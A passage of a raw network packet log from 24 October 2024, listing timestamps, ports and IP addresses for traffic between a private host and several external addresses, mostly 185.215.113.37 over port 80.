Oct 24, 2024 08:38:44.656717062 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.656742096 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.656764030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656779051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656794071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656810999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656857967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656873941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656900883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656915903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656930923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656945944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.656970024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.657023907 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.657052040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.657064915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.657159090 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.695493937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695538998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695554972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695588112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695601940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695621014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.695729017 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.730340958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730359077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730372906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730405092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.730441093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.730458975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730495930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730509043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730523109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730545998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730559111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.730663061 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.740309000 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.740350008 CEST	443	61044	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:44.745959044 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.747466087 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:44.747482061 CEST	443	61044	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.043632984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.049505949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.131844044 CEST	80	61043	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:45.190625906 CEST	61043	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:45.317936897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.317972898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.317986012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318077087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318101883 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318106890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318135023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318151951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318167925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318185091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318205118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318217039 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318247080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318274021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318289042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318305016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318332911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318334103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318351030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318365097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318376064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318380117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318403959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318420887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318435907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318445921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318466902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318476915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318481922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318499088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318512917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318527937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318541050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318551064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318566084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318573952 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318582058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318608046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318638086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318712950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318732977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318748951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318763971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318779945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318780899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318795919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318799973 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318816900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318823099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318840981 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318864107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.318902969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318919897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318936110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318950891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.318965912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319017887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319032907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319081068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319099903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319123030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319263935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319288969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319303989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319329023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319344044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319359064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319374084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319389105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.319402933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.321943045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.322365999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.363001108 CEST	443	61044	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.363277912 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.368423939 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.368438005 CEST	443	61044	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.368551970 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.368647099 CEST	443	61044	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.368849039 CEST	61044	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.369064093 CEST	61045	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.369127035 CEST	443	61045	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.369343996 CEST	61045	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.370702028 CEST	61045	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.370718956 CEST	443	61045	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.414767027 CEST	80	61042	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:45.415411949 CEST	61042	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:45.433516026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433551073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433568001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433613062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433629036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433645010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433654070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.433660030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433676004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433696032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.433696032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.433742046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.433763981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433792114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433806896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433825970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433840990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433856010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433885098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433900118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433913946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433928013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433955908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433969975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433984995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.433999062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434015989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434034109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434053898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434068918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434082985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434178114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434185982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434199095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434214115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434228897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434243917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434278965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434293032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434309006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434324980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434345007 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434360027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434374094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434437990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434464931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434473038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434478045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434510946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434533119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434547901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434549093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434565067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434575081 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434587955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434603930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434608936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434631109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434637070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434653044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434654951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434669018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434694052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434729099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434756041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434770107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434782982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434798956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434808016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434840918 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.434900999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434951067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434966087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434989929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.434997082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435007095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435009003 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435023069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435039043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435044050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435061932 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435066938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435084105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435091972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435096979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435122013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435126066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435142040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435149908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435157061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435169935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435172081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435184956 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435189009 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435230017 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435240030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435255051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435270071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435285091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435302973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435309887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435327053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435347080 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435370922 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435394049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435426950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435450077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435465097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435480118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435484886 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435513020 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435537100 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435549974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435631037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435637951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.435647011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435662031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435677052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435692072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435719967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435734987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435750008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.435770035 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.436297894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.548544884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548562050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548577070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548593044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548614979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548636913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548650026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548664093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548743010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548757076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548787117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548801899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548818111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548836946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548865080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548880100 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548894882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548907995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548934937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548949957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548964977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548984051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.548995018 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549067020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549082041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549098015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549113035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549129009 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549144983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549163103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549206018 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549207926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549216032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549223900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549245119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549268961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.549277067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549293041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549307108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549370050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549384117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549407959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549422979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549438000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549453974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549516916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549532890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549547911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549565077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549581051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549649954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549663067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549679041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549704075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549721003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.549736977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550065041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550079107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550107956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550122023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550163031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550178051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550193071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550224066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550240040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550254107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550267935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550285101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550299883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550328016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550343037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550359011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550374985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550389051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550405979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550421000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550446033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550458908 CEST	80	61014	185.215.113.37	192.168.2.5
